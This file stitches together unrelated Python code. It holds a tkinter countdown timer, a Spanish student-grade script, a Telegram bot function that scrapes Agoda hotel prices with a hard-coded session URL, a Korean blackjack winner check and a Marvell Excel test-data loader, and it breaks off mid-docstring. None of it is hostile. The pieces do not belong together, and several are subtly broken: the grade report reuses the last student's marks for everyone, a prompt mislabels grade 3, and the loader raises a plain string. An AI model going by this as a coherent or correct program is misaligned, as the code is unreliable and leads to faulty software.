import tkinter as tk
from tkinter import *
import time
import winsound
class gui():
    def __init__(self):
        self.box= tk.Tk()
        self.box.geometry('360x400')
        self.box.title('Countdown Timer')
        self.box.configure(bg = '#CDCDC0')
        self.hr = StringVar()
        self.minute = StringVar()
        self.seconds = StringVar()
        self.hr.set('00')
        self.minute.set('00')
        self.seconds.set('00')
        hours = tk.Entry( self.box, font = ('bold',25) , text = self.hr , bg = '#C1C1CD')
        mins = tk.Entry( self.box, font  = ('bold',25) , text = self.minute , bg = '#C1C1CD')
        secs = tk.Entry( self.box, font  = ('bold',25) , text = self.seconds , bg = '#C1C1CD')
        hours.place(x=50,y=20,width = 50,height=70)
        mins.place(x=150,y=20,width = 50,height=70)
        secs.place(x=250,y=20,width = 50,height=70)
        self.h = StringVar()
        self.m = StringVar()
        self.s = StringVar()
        self.h.set('00')
        self.m.set('00')
        self.s.set('00')
        self.hour_display = Label(self.box,textvariable = self.h)
        self.min_display = Label(self.box , textvariable = self.m)
        self.secs_display = Label(self.box , textvariable = self.s)
        self.hour_display.place(x = 50 , y = 300 , height = 70 , width = 50)
        self.min_display.place(x = 150 , y = 300 , height = 70 , width = 50)
        self.secs_display.place(x = 250 , y = 300 , height = 70 , width = 50)
        self.hour_display.config(font = ('bold',18) , bg = '#C1C1CD')
        self.min_display.config(font = ('bold',18) , bg = '#C1C1CD')
        self.secs_display.config(font = ('bold',18) , bg = '#C1C1CD')
        self.hour_label_1 = Label(self.box , text = "H")
        self.min_label_1 = Label(self.box , text = "M")
        self.sec_label_1 = Label(self.box , text = "S")
        self.hour_label_2 = Label(self.box , text = "H")
        self.min_label_2 = Label(self.box , text = "M")
        self.sec_label_2 = Label(self.box , text = "S")
        self.hour_label_1.place(x = 30 , y = 300 , height = 10 , width = 10)
        self.hour_label_1.config(bg = '#CDCDC0')
        self.min_label_1.place(x = 130 , y = 300 , height = 10 , width = 10)
        self.min_label_1.config(bg = '#CDCDC0')
        self.sec_label_1.place(x = 230 , y = 300 , height = 10 , width = 10)
        self.sec_label_1.config(bg = '#CDCDC0')
        self.hour_label_2.place(x = 30 , y = 20 , height = 10 , width = 10)
        self.hour_label_2.config(bg = '#CDCDC0')
        self.min_label_2.place(x = 130 , y = 20 , height = 10 , width = 10)
        self.min_label_2.config(bg = '#CDCDC0')
        self.sec_label_2.place(x = 230 , y = 20 , height = 10 , width = 10)
        self.sec_label_2.config(bg = '#CDCDC0')
        self.countdown_title = Label(self.box , text = 'COUNTDOWN TIMER')
        self.countdown_title.place(x = 90 , y = 230 , height = 50 , width = 180)
        self.countdown_title.config(bg = '#CDCDC0' , font = ("bold" , 13))
        self.input_label1 = Label(self.box , text = "IN")
        self.input_label1.place(x = 10 , y = 40 , height = 20 , width = 20)
        self.input_label1.config(bg = '#CDCDC0' , font = ('italic' , 14))
        self.input_label1 = Label(self.box , text = "OUT")
        self.input_label1.place(x = 8 , y = 320 , height = 20 , width = 40)
        self.input_label1.config(bg = '#CDCDC0' , font = ('italic' , 14))
        self.timer_on = False
        self.timer_pause_count = 0
        self.stop_var = 0
        self.reset_var = 0
        self.flag = 0

        def start():
            self.flag = 0
            self.reset_var = 0
            self.timer_pause_count = 0
            self.timer_on = True
            self.stop_var = 0
            self.h.set(hours.get())
            self.m.set(mins.get())
            self.s.set(secs.get())
            iterations = 0
            iterations = int(hours.get())*3600+int(mins.get())*60+int(secs.get())
            while iterations > -1 and self.timer_pause_count == 0 and self.flag == 0:
                if iterations <= 0:
                    self.flag = 1
                    winsound.PlaySound('SystemHand',1)
                    self.s.set('00')
                    self.m.set('00')
                    self.h.set('00')
                    break
                Min , Sec = (iterations//60 , iterations % 60)
                Hours = 0
                if Min > 60:
                    Hours , Min = (Min // 60 , Min %60)
                if self.timer_on == True and self.stop_var == 0 and self.reset_var == 0 and self.flag == 0:
                    self.s.set(Sec)
                    self.m.set(Min)
                    self.h.set(Hours)

                    self.box.update()
                    time.sleep(1)

                    iterations -= 1
                self.box.update()

        def Pause():
            self.timer_on = False
            self.pause = True
            self.timer_pause_count = 1
            iterations = 0
            iterations = int(self.h.get())*3600+int(self.m.get())*60+int(self.s.get())
            while iterations > -1:
                if self.stop_var == 1 or self.reset_var == 1 or self.flag == 1:
                    break
                if self.pause == False:
                    break
                if iterations <= 0:
                    winsound.PlaySound('SystemHand',1)
                    self.s.set('00')
                    self.m.set('00')
                    self.h.set('00')
                    break
                Min , Sec = (iterations//60 , iterations % 60)
                Hours = 0
                if Min > 60:
                    Hours , Min = (Min // 60 , Min %60)

                if self.stop_var == 1:
                    break

                self.s.set(Sec)
                self.m.set(Min)
                self.h.set(Hours)

                self.box.update()

        def resume():
            self.reset_var = 0
            self.timer_on = True
            self.pause = False
            iterations = 0
            iterations = int(self.h.get())*3600+int(self.m.get())*60+int(self.s.get())
            while iterations > -1:
                if self.stop_var == 1 or self.flag == 1:
                    break
                if iterations <= 0:
                    winsound.PlaySound('SystemHand',1)
                    self.s.set('00')
                    self.m.set('00')
                    self.h.set('00')
                    break
                Min , Sec = (iterations//60 , iterations % 60)
                Hours = 0
                if Min > 60:
                    Hours , Min = (Min // 60 , Min %60)
                if self.timer_on == True and self.stop_var == 0 and self.reset_var == 0:
                    self.s.set(Sec)
                    self.m.set(Min)
                    self.h.set(Hours)
                    self.box.update()
                    time.sleep(1)
                    iterations -= 1
                self.box.update()

        def stop():
            self.stop_var = 1
            if self.timer_on == True or self.stop_var == 1:
                self.timer_on = False
                self.stop_var = 1
                iterations = 0
                self.timer_pause_count = 1
                self.stop_var = 1
                winsound.PlaySound('SystemExclamation',1)
                self.s.set('00')
                self.m.set('00')
                self.h.set('00')
                self.hr.set('00')
                self.minute.set('00')
                self.seconds.set('00')
                iterations = -1

        self.resetbtn = tk.Button(self.box , text = 'RESET' , bg = 'OliveDrab1' , command = self.reset)
        self.resetbtn.place(x=20 , y = 110 ,width = 90 , height = 50)
        self.stopbtn = tk.Button(self.box , text = 'STOP' , bg = 'orangered2' , command = stop)
        self.stopbtn.place(x = 250 , y = 110 , width = 90 , height = 50)
        self.pausebtn = tk.Button(self.box , text = 'PAUSE' , bg = 'yellow' , command = Pause)
        self.pausebtn.place(x = 250 , y = 180 , width = 90 , height = 50)
        self.startbtn = tk.Button(self.box , text = 'START' , bg = 'mediumseagreen' , command = start)
        self.startbtn.place(x=135 , y = 145 , width = 90 , height = 50)
        self.resumebtn = tk.Button(self.box , text = 'RESUME' , bg = 'slategray' , command = resume)
        self.resumebtn.place(x = 20 , y = 180 , width = 90 , height = 50)
        self.box.mainloop()

    def reset(self):
        self.reset_var = 1
        iterations = 0
        if self.reset_var == 1:
            winsound.PlaySound('SystemHand',1)
            self.hr.set('00')
            self.minute.set('00')
            self.seconds.set('00')
            self.h.set('00')
            self.m.set('00')
            self.s.set('00')

if __name__ == '__main__':
    box = gui()


def calNotaDef():
    notaFInal= nota1*0.3 + nota2*0.3 + nota3*0.4
    return notaFInal

estudiantes={}
while True:
    codigo= int(input("Ingrese EL Codigo del estudiante: "))
    nombre= input("Ingrese el nombre del estudiante: ")
    nota1= float(input("Ingrese la nota 1 del estudiante:  "))
    nota2= float(input("Ingrese la nota 2 del estudiante:  "))
    nota3= float(input("Ingrese la nota 2 del estudiante:  "))
    estudiantes[codigo] = {}
    estudiantes[codigo]["nombre"]=nombre
    estudiantes[codigo]["nota1"]= nota1
    estudiantes[codigo]["nota2"]= nota2
    estudiantes[codigo]["nota3"]= nota3

    opc= input("Desea agregar otro estudiante \n 1. SI \n 999. NO")
    if opc== "999":
        break

print("\n\n *** INFORME ***")
print("=" *30)
for k in estudiantes.keys():
    n= calNotaDef()
    if n >=3 and n<= 5:
        print(estudiantes[k]["nombre"], f"nota final es: {n} El estudiante Aprobo la materia")
    else:
        print(estudiantes[k]["nombre"], f"nota final es: {n} El estudiante No Aprobo la materia")
print("=" *30)


def getHotelInfo(chat_id,s):   #format  hotel city checkin(e.g 2017-05-02) checkout
    tmp = s.split()
    if len(tmp) < 5:
        bot.sendMessage(chat_id, "Sorry you lost some infomation. Or maybe you lost some space")
        bot.sendMessage(chat_id, "format is: hotel city checkin(e.g 2017-05-02) checkout(e.g.2017-05-03) price(rate)")
        return
    elif len(tmp) > 5:
        bot.sendMessage(chat_id, "Sorry, too many infomation.")
        bot.sendMessage(chat_id, "format is: hotel city checkin(e.g 2017-05-02) checkout(e.g.2017-05-03) price(rate)")
        return
    CheckIn = tmp[2]
    CheckOut = tmp[3]
    if checkDate(chat_id,CheckIn,CheckOut) == True:
        return
#-------------------------------------read city data to get the URL------------------------------------------
    City = tmp[1]
    f = open('city.txt','r', encoding = 'UTF-8')
    while True:
      string = f.readline().split()
      if City == string[0]:
        break

    f.close()
    CityNum = string[1]
#-------------------------------------read data form website----------------------------------------------------
    url = "https://www.agoda.com/zh-hk/pages/agoda/default/DestinationSearchResult.aspx?asq=u2qcKLxwzRU5NDuxJ0kOF8dmq7Ztgl2%2FfOEj7KAaspCTIbIpW83e1VFmJssp8bOXt54U2I0bQo%2Bgyn7ax3pfm8%2FHyb%2FWqadFiNS4Hk47%2FsKcGB4nTz%2F09FE%2FaJUjlfm5Co2qpZTXDnSzTz9ioXCxv%2BVU3tmaBdeCE2fSz7zkZEvjV5DKzeC%2FBkkLC3zOAuhD4vdy1KJtyI4jLLB6u%2BPlIBpaLA8WrczZYJ5naKggSn8%3D&city="+CityNum+"&recommendedIndex=1&pageType=1&panel=searchboxrecommended&pagetypeid=1&origin=SG&cid=-1&tag=&gclid=&aid=130243&userId=d1a8100f-5faa-413b-aeb6-cd56ab30fcf7&languageId=7&sessionId=ia4q5lj3hb1d0nlyp1xyrojm&storefrontId=3&currencyCode=SGD&htmlLanguage=zh-hk&trafficType=User&cultureInfoName=zh-HK&checkIn="+CheckIn+"&checkOut="+CheckOut+"&los=4&rooms=1&adults=2&children=0&priceCur=SGD&hotelReviewScore=5&ckuid=d1a8100f-5faa-413b-aeb6-cd56ab30fcf7"
    headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}
    #發送請求
    req = ur.Request(url = url,headers=headers)
    page = ur.urlopen(req)
    contentBytes = page.read()
    #進行分割
    soup = bs(str(contentBytes), "html.parser")
    #將資訊顯示出來
    #f = open('A.txt', 'w', encoding = 'UTF-8')
    #f.write(soup.prettify())
    #f.close()
    ratelist = []       # store rate
    pricelist = []      # store price
    hotellist = []      # store hotel name
    byPriceDict = {}    # dict to sort by price
    byRateDict = {}     # dict to sort by rate
    alllist = []        # after sorting store it here
#-----------------------------------read the price--------------------------------------------------
    for k in soup.select(".price-container "):
        inputToList = k.contents[3].contents[0]
        pricelist.append(inputToList)
#-----------------------------------read the name of hotel------------------------------------------
    for l in soup.select(".hotel-info h3"):
        hotelNameRaw = l.contents[0]
        try:
            hotelName = hotelNameRaw.split("(")[1].split(")")[0]
        except IndexError:
            hotelName = hotelNameRaw.strip(" \\rn").strip()
        hotellist.append(hotelName)
#-----------------------------------read the rate--------------------------------------------------
    for m in soup.select(".review-score "):
        inputToList = m.contents[0]
        ratelist.append(inputToList)
    if tmp[4] == "price":
#-----------------------sort by price------------------------------
      for j in range(len(pricelist)):
          tmp = hotellist[j]+" Rate:"+ratelist[j]
          byPriceDict['hotel'] = tmp
          byPriceDict['price'] = pricelist[j]
          alllist.append(byPriceDict)
          byPriceDict = {}
      alllist = sorted(alllist, key=itemgetter("price"))   # sort by price
      for index in range(len(alllist)):
        res = alllist[index]["price"]+" SGD"
        bot.sendMessage(chat_id, alllist[index]["hotel"])
        bot.sendMessage(chat_id, res)
        if index == 10:
          break
      alllist = []
      index = 0
#-----------------------sort by rate------------------------------
    else:
      for i in range(len(ratelist)):
          tmp = hotellist[i]+" /"+str(pricelist[i])
          byRateDict["hotel"] = tmp
          byRateDict["rate"] =  float(ratelist[i])
          alllist.append(byRateDict)
          byRateDict = {}
      alllist = sorted(alllist, key=itemgetter("rate"), reverse = True)  # store by rate and order from high to low
      for index in range(len(alllist)):
        temp = alllist[index]["hotel"].split("/")
        res1 = temp[0]+" Rate:"+str(alllist[index]["rate"])
        res2 = temp[1]+" SGD"
        bot.sendMessage(chat_id, res1)
        bot.sendMessage(chat_id, res2)
        if index ==  9:   # print less then 10 hotel information
          break


def get_winner(you: int, me: int, name: dict) -> (bool, str):
    if me == 21:
        # 플레이어의 21 확인
        win = True
        reason = "축하드립니다! 21을 만들었습니다!"

    elif you == 21:
        # 컴퓨터의 21 확인
        win = False
        reason = f"{name['you']}(이)가 21을 만들었습니다!"

    elif me == you:
        # 플레이어와 컴퓨터의 숫자 합이 같은지 확인
        win = None
        reason = f"모든 플레이어의 숫자 합이 {me}로 동일합니다."

    elif me > 21 or you > 21:
        # 플레이어 또는 컴퓨터의 숫자 합이 21을 넘었는지 확인

        if me > 21:
            # 플레이어의 숫자 합이 21을 넘었는지 확인

            if you > 21:
                # 플레이어의 숫자 합은 21을 넘었고,
                #   컴퓨터의 숫자 합은 21을 넘은 경우

                # 플레이어의 숫자 합이 더 작은 경우
                if me < you:
                    win = True
                    reason = f"당신의 숫자 합이 21보다 크지만, " \
                             f"{name['you']}보다 숫자 합이 21에 가깝습니다."

                # 플레이어의 숫자 합이 더 큰 경우
                else:
                    win = False
                    reason = f"모든 플레이어의 숫자 합이 21보다 크지만, " \
                             f"{name['you']}(이)의 숫자 합이 21에 가깝습니다."
            else:
                # 플레이어의 숫자 합은 21을 넘었고,
                #   컴퓨터의 숫자 합은 21을 넘지 않았음
                win = False
                reason = "당신의 숫자 합이 21보다 큽니다."

        else:
            # 플레이어의 숫자 합은 21을 넘지 않았고,
            #   컴퓨터의 숫자 합은 21을 넘은 경우
            win = True
            reason = f"축하드립니다! {name['you']}(이)의 숫자 합이 21보다 큽니다."

    elif me < you:
        # 플레이어의 숫자 합이 컴퓨터 보다 작은 경우
        win = False
        reason = f"당신의 숫자 합이 {name['you']}(이)의 숫자 합 보다 작습니다."

    elif me > you:
        # 플레이어의 숫자 합이 컴퓨터 보다 큰 경우
        win = True
        reason = f"축하드립니다! {name['you']}(이) 보다 큰 숫자를 만들었습니다!"

    else:
        # 그 어떠한 승리 조건도 만족하지 못한 경우
        win = None
        reason = "* 승리/패배 조건이 올바르지 않습니다. *"

    return win, reason


###################################################################################
#	Marvell GPL License
#
#	If you received this File from Marvell, you may opt to use, redistribute and/or
#	modify this File in accordance with the terms and conditions of the General
#	Public License Version 2, June 1991 (the "GPL License"), a copy of which is
#	available along with the File in the license.txt file or by writing to the Free
#	Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 or
#	on the worldwide web at http://www.gnu.org/licenses/gpl.txt.
#
#	THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE IMPLIED
#	WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE ARE EXPRESSLY
#	DISCLAIMED.  The GPL License provides additional details about this warranty
#	disclaimer.
###################################################################################

from __future__ import print_function
from builtins import str
from builtins import range
from builtins import object
__author__ = 'Erez Ashkenazi'

from . import Excel
from copy import deepcopy, copy
import re

class ExcelDataLoad(object):

    def __init__(self):
        """
        Constructor
        :return:
        """
        self.EX = Excel.Excel()

    def set_active_file(self, file_path):
        """
        set the excel file the class will work on
        :param file_path:
        :return:
        """
        self.EX.set_active_workbook(file_path)

    def LoadBoards(self, i_BoardList=None):
        """
        This method will load all board needed for this test
        :param BoardsList: set specific board (by board model or board name)if None get all boards in the working sheet
        :param worksheet:
        :return: board dict
        """
        Boards = {}
        worksheet = 'Board_Data'
        self.EX.set_active_worksheet(sheet_name=worksheet)
        All_Boards = self.EX.get_data_by_column('A', 1, 1)
        Headers = self.EX.get_data_by_row(1, 1, 1)
        o_BoardsList=self._Load_Table(All_Boards, Headers)

        if i_BoardList:
            BoardsList = i_BoardList
            if type(i_BoardList) != list:
                BoardsList = [i_BoardList]
            for i_board in BoardsList:
                for board in o_BoardsList:
                    if o_BoardsList[board]['Marvell_Board_Model'].lower() in i_board.lower() or board.lower() == i_board.lower():
                        Boards[board]=o_BoardsList[board]
        else:
            return o_BoardsList

        return Boards

    def get_topology(self,i_worksheet, i_DataToGet, i_column_key=None):
        """
        get a topology from a specific sheet by input data
        :param i_worksheet:
        :param column_search: the column in which the dict main key will be set by
        :param DataToGet: the data set we want to get as a dictionary
        :return: the dictionary of the input data
        """
        delimiter=','
        if type(i_DataToGet) == str or type(i_DataToGet) == int:
            i_DataToGet = str(i_DataToGet)

        DataToGet = i_DataToGet
        # if type(i_DataToGet) == int:
        #     DataToGet = [i_DataToGet]

        self.EX.set_active_worksheet(sheet_name=i_worksheet)
        DataToGet = DataToGet.split(delimiter)
        Headers = self.EX.get_data_by_row(1, 1, 1)
        Topology = self._Load_Table(DataToGet, Headers)
        if i_column_key:
            Topology = self.switch_main_key(Topology, i_column_key)
        return Topology

    def switch_main_key(self,i_dict, new_main_key):
        """
        get a dict and switch it's main keys by new values from sub dict keys.
        :param i_dict: the dictionary we want to switch keys inside
        :param new_main_key: the value to be used as the main key in the new dict
        :return: "same dict" with updated key name
        """
        temp = {}

        for key, value in i_dict.items():
            if new_main_key not in value:
                raise ('error when trying to get the main key of topolopy from sheet name={sheetname} the key={keytomap} doesn"t exist')
            temp[i_dict[key][new_main_key]]=i_dict.get(key)
        return temp

    def topology_to_values(self, i_column_key=None, **kwargs):
        """
        :param column_search: the column in which the dict main key will be set by
        :param kwargs: Networking={'0':{}} , Networking is the tab o search in, and it's data will be
        :return: values of the input topologies
        """
        name=next(iter(kwargs.items()))
        ret=self.get_topology(i_worksheet=name[0], i_DataToGet=name[1], i_column_key=i_column_key)
        return ret

    def parse_sheet_and_Topology(self,i_topology):
        temp={}
        format='(.*)(_)([0-9]+)' #sheetname_topology
        r=re.match(format,i_topology )
        sheetname = r.group(1)
        topo=r.group(3)
        data=self.get_topology(sheetname,topo)
        data[sheetname]=data.pop(topo)
        return data

    def LoadTest(self,i_TestList=None):
        o_Test={}
        worksheet = 'Tests_Defaults'
        self.EX.set_active_worksheet(sheet_name=worksheet)
        All_Tests = self.EX.get_data_by_column('A', 1, 1)
        Headers = self.EX.get_data_by_row(1, 1, 1)
        o_TestsList = self._Load_Table(All_Tests, Headers)
        if i_TestList:
            if type(i_TestList) != list:
                i_TestList = [i_TestList]
            for test in i_TestList:
                test = test.strip()
                if test in o_TestsList:
                    o_Test[test]=deepcopy(o_TestsList[test])
            o_TestsList=deepcopy(o_Test)
        return o_TestsList

    def load_env_data(self,worksheet='Environment_Data'):
        """
        The Function Loads All The Environment Data Of
        The Lab From WorkSheet - "Environment_Data"
        :param worksheet:
        :return:
        """
        self.EX.set_active_worksheet(sheet_name=worksheet)
        Devices=self.EX.get_data_by_column('A', 1, 1)
        Headers=self.EX.get_data_by_row(1, 1, 1)
        Env_Data=self._Load_Table(Devices,Headers)
        return Env_Data

    def load_ovelapping_rows(self,worksheet,**kwargs):
        """
        :param worksheet: the worksheet to work on
        :param kwargs:
        :return:
        """
        self.EX.set_active_worksheet(sheet_name=worksheet)
        Headers = self.EX.get_data_by_row(1, 0, 1)
        cell_to_cut_by = Headers.index('Board')
        Headers = Headers[:cell_to_cut_by]
        overlapping_rows=self.EX.find_all_ovelapping_rows(**kwargs)
        Data={}
        for idx,item in enumerate(overlapping_rows):
            Data[idx]=self.EX.get_data_by_row(item,0,1,remove_vales_at_end=cell_to_cut_by)
        #Convert to list of list
        list_Data=[]
        for item,value in Data.items():
            list_Data.append(value)
        #sort the list based on location inside , sorted by all locations when location 0 is first location 1 is second and etc
        Data.clear()
        Data['Headers']=Headers
        Data['Iterations'] = sorted(list_Data)

        if len(Data['Iterations']) == 0:
            Data['Iterations'] = None

        return Data

    @staticmethod
    def choice_defaults_or_override_values(self, defaults_values, override_values):
        """
        The Funcion Takes The 'Override_Default_Values' values ( If They Exist)
        and set them to 'Features_Values' (See Explanation Below).

        Practical Explanation:
        After This Function All The Parametres Of the Test Will Be In The
        'Features_Value', This Dictionary Will Be Updated.
        If The Default Values Have Been Changed We Will See The Proper Value
        In This Section

        :param All_Test_To_Run:
        :param defaults_values:
        :return:
        """

        temp_defaults_value = deepcopy(defaults_values)
        dict_to_override_defaults = deepcopy(override_values)
        for key in temp_defaults_value:
            if key in dict_to_override_defaults:
                if len(dict_to_override_defaults[key])>0:
                   temp_defaults_value[key]=dict_to_override_defaults[key]

        return temp_defaults_value

    def load_output_results(self, i_All_Tests, i_worksheet=None):
        """
        The Current Function Takes The worksheet - 'Output_Results_Structure'
        and add each OUTPUT format for each test as List

        :param worksheet:
        :param id:
        :return:
        """
        All_Tests = deepcopy(i_All_Tests)
        worksheet = i_worksheet
        self.EX.set_active_worksheet(sheet_name = worksheet)
        for test in All_Tests:
            i_All_Tests.remove(test)
            test_name, test_value = next(iter(test.items()))
            output=self.EX.get_data_by_row(test_name,2,1)
            test_value[worksheet]=deepcopy(output)
            i_All_Tests.append({test_name: deepcopy(test_value)})

        return i_All_Tests

    def load_expected_results(self, i_All_Tests, i_worksheet = None,i_Test_Names=None):
        """
        The Current Function Takes The worksheet - 'Expected Results'
        and add each results format for each test as Dict

        :param i_worksheet:
        :param id:
        :return:
        """
        All_Tests=deepcopy(i_All_Tests)
        self.EX.set_active_worksheet(sheet_name=i_worksheet)
        expected_results=self.create_dict_from_sheet(i_sheet_name = i_worksheet, i_All_Rows_In_Main_Column=i_Test_Names)
        for test in All_Tests:
            i_All_Tests.remove(test)
            test_name, test_value = next(iter(test.items()))
            test_value[i_worksheet]=deepcopy(expected_results[test_name])
            i_All_Tests.append({test_name: deepcopy(test_value)})

        return i_All_Tests

    def create_dict_from_sheet(self, i_sheet_name=None, i_All_Rows_In_Main_Column=None, i_Main_Column=None):
        """
        Create a dictionary out of the current sheet by the following format:
        first cell Row - Main Key
        Coll - Keys in dict
        Cell - Value of keys
        :return: dict () format: {name_of_each_row:num_of_appearences:{col:value}
        """
        if i_Main_Column is None:
            raise  Exception("Please supply main column")
        Row_Names =i_All_Rows_In_Main_Column
        if i_All_Rows_In_Main_Column != None:
            if i_All_Rows_In_Main_Column == str:
                Row_Names = [i_All_Rows_In_Main_Column]
            else:
                Row_Names=i_All_Rows_In_Main_Column
        self.EX.set_active_worksheet(sheet_name=i_sheet_name)
        Headers = self.EX.get_data_by_row(1, 0, 1)
        Main_Dict={}
        tmp_dict={}
        max_lines=int(self.EX.WS.max_row)
        start = 0 # internal counter for number of testID with the same name
        for row in range(2,max_lines+1):
            #create the dic main key for keys, from Headers
            tmp_dict=next(iter(self._Load_Table(row, Headers).values()))
            if Row_Names != None and tmp_dict[i_Main_Column] not in Row_Names:
                continue
            if tmp_dict.__len__ ()== 0: #No more lines with info inside
                break
            if tmp_dict[i_Main_Column] not in Main_Dict:
                start=1
                Main_Dict[tmp_dict[i_Main_Column]]={}
            else: #advance the counter of the items in of the same test
                start += 1
            Main_Dict[tmp_dict[i_Main_Column]][start]=copy(tmp_dict)
        return Main_Dict

    def create_List_from_sheet(self, sheet_name):
        """
        Create a dictionary out of the current sheet by the following formula (as for now it only support expected results when we have mutiple times the same name)
        first cell Row - Main Key
        Coll - Keys in dict
        Cell - Value of keys
        :return:
        """

        self.EX.set_active_worksheet(sheet_name=sheet_name)
        Headers = self.EX.get_data_by_row(1, 0, 1)
        Main_Dict={}
        tmp_dict={}
        max_lines=int(self.EX.WS.max_row)
        start = 0 # internal counter for number of testID with the same name
        for row in range(2,max_lines+1):
            #create the dic main key for keys, from Headers
            tmp_dict=next(iter(self._Load_Table(row, Headers).values()))
            if tmp_dict.__len__ ()== 0: #No more lines with info inside
                break
            if tmp_dict['TestID'] not in Main_Dict:
                start=1
                Main_Dict[tmp_dict['TestID']]={}
            else: #advance the counter of the items in of the same test
                start += 1
            Main_Dict[tmp_dict['TestID']][start]=copy(tmp_dict)
        return Main_Dict

    def _load_test_defaults(self, worksheet = 'Test_defaults'):
        """
        The Current Function Takes All The Data From Worksheet - 'Test_Defaults'
        and Creates a Dictionary by TestId and All The Default Params For That Test
        :param worksheet:
        :param id:
        :return:
        """
        self.EX.set_active_worksheet(sheet_name = worksheet)
        id=self.EX.get_data_by_column('A', 1, 1)
        Headers=self.EX.get_data_by_row(1, 1, 1)
        Tests_Defaults=self._Load_Table(id,Headers)
        return Tests_Defaults
        """
            id=[]
        self.EX.set_active_worksheet(sheet_name = worksheet)
        id_full=self.EX.get_data_by_column('A', 1, 0)
        for i in id_full:
            if i.value!=None:
                id.append(i.row)
        Headers=self.EX.get_data_by_row(1, 1, 1)
        Tests_Defaults=self._Load_Table(id,Headers,skip_at_first=1)
        for i in xrange(id.__len__()):
            if Tests_Defaults.has_key(id_full[i].value):
                temp=Tests_Defaults.pop(id_full[i].value)
                Tests_Defaults[id_full[i].value]={}
                Tests_Defaults[id_full[i].value][Tests_Defaults[id_full[i].value].__len__()]=deepcopy(temp)
                Tests_Defaults[id_full[i].value][Tests_Defaults[id_full[i].value].__len__()]=Tests_Defaults.pop(id[i])
            else:
                Tests_Defaults[id_full[i].value] = Tests_Defaults.pop(id[i])
        return Tests_Defaults
        """

    def _Load_Table(self, id, header):
        """
        The Function Gets All The Data From Worksheet That It was Called.
        The Function Creates A Dictionary by The Next Format:
        Row - Main Key
        Coll - Secondary Key
        Cell - Value of Secondary key

        :param Key:
        :return: Dictionary of the content
        """
        if type(id)==str:
            id=str(id)
        if type(id)==str or type(id)==int:
            id=[id]
        Table={}
        Table_Info={}
        # for num,item in enumerate(id):
        for item in id:
            #TODO: if item is int and we want to skip data at first, we should add
            info_sub=self.EX.get_data_by_row(item,0 if type(item)==int else 1 , 1)
            for itr,head in enumerate(header):
                try:
                    Table_Info[header[itr]]=info_sub[itr]
                except IndexError:
                    Table_Info[header[itr]]=None
            Table[item]=deepcopy(Table_Info)
            Table_Info.clear()
        return Table

    def _load_board_topologies(self, All_Tests):
        """

        :param All_Tests:
        :param worksheet:
        :return:
        """
        Topologies=['Uboot']
        for testid in All_Tests:
            for board in All_Tests[testid]['Board_Data']:  # get the data from all boards in the env
                for topo in Topologies:
                    if topo not in All_Tests[testid]['Board_Data'][board]:  # check if topology exists
                        continue
                    if All_Tests[testid]['Board_Data'][All_Tests[testid]['Org_Board']][topo]==None: #Skips empty topologies
                        continue
                    self.EX.set_active_worksheet(sheet_name=topo)
                    Topo_Data={}
                    if topo not in Topo_Data:
                        Topo_Data[topo]={}
                    Data=str(All_Tests[testid]['Board_Data'][board][topo]).split(',')
                    Headers = self.EX.get_data_by_row(1, 1, 1)
                    for item in Data:
                        info_of_row=next(iter(self._Load_Table(item,Headers).values()))
                        Topo_Data[topo][info_of_row['Name']]=info_of_row
                    All_Tests[testid]['Board_Data'][board][topo]=deepcopy(next(iter(Topo_Data.values())))
        return All_Tests

    def _board_data(self,All_Tests):
        """
        The Funcion Extracts All The Data About The Boards That are Active In The Current Test only,
        From Worksheet - 'Board_Data'
        Adding The Data To The "All_Tests" Dictionary

        :param Tests:
        :return:
        """
        worksheet = 'Board_Data'
        self.EX.set_active_worksheet(sheet_name=worksheet)
        Headers=self.EX.get_data_by_row(1, 1, 1)
        for testid in All_Tests:
            Devices = All_Tests[testid]['Test_Devices'].split(',')
            # Devices=[All_Tests[testid]['Org_Board'],All_Tests[testid]['Ter_Board']]
            data=self._Load_Table(Devices,Headers)
            # print data
            All_Tests[testid]['Board_Data']=deepcopy(data)
        # print All_Tests
        return All_Tests

    def _load_Topology(self, All_Tests):
        """
        if we have test defaults with couple of topologies we want to extract all the values from those topologies
        :param All_Tests:
        :return:
        """
        sheets_in_excel=self.EX.sheets_in_workbook() #get all sheets names in the file
        for testid in All_Tests:
            Features_Value=All_Tests[testid].pop('Features_Value')
            Features_Value_For_Iterations={}
            Features_Value_Not_Iterations = {}
            for feature in Features_Value:
                if Features_Value[feature]==None: #skip empty topologies
                    continue
                feature_wo_priority=str(feature).partition('|')[0] #to cut the priority from the name in order to compare with the tab name in excel
                if str(feature_wo_priority) in sheets_in_excel:
                    list_of_topo=str(Features_Value[feature]).split(',')
                    list_of_topo_replaced=[]
                    self.EX.set_active_worksheet(feature_wo_priority) # change active sheet to the sheet feature for topology extraction
                    for topo in list_of_topo: #get every topologies real vaule
                        if str(feature).partition('|')[1]=='|': #Do it if we have priority in the name
                            list_of_topo_replaced.append(self.EX.get_cell_value(str(topo),str(feature_wo_priority)))
                            Features_Value_For_Iterations[feature] = list_of_topo_replaced  # return the new extracted values to the All_test
                        else: #str(feature).partition('|')[1] == '' and feature_wo_priority in ['Networking']: #we dont have priority in the name
                            if feature not in Features_Value_Not_Iterations:
                                Features_Value_Not_Iterations[feature]={}
                            Topology_wo_priority = {}
                            Headers = self.EX.get_data_by_row(1, 1, 1)
                            Topology_wo_priority=self._Load_Table(topo,Headers)
                            Topology_wo_priority=next(iter(Topology_wo_priority.values()))
                            if feature_wo_priority in ['Networking']:
                                Features_Value_Not_Iterations[feature][Topology_wo_priority['Port_Name']]=deepcopy(Topology_wo_priority)
                            else:
                                Features_Value_Not_Iterations[feature][Topology_wo_priority['Name']] = deepcopy(
                                    Topology_wo_priority)
            All_Tests[testid]['Features'] = deepcopy(Features_Value_Not_Iterations)
            All_Tests[testid]['Features_For_Iteration'] = deepcopy(Features_Value_For_Iterations)
        return All_Tests

    def merge_dicts(self, *dict_args):
        """
        Given any number of dicts, shallow copy and merge into a new dict,
        precedence goes to key value pairs in latter dicts.
        """
        result = {}
        for dictionary in dict_args:
            result.update(dictionary)
        return result

    # TODO: Can be deleted
    """
    def All_Tests_Set_To_Run(self):

        The Function Gets All The TestsId From WorkSheet 'Test_Run'
        Where The Value In Collumn 'Run' Is 1
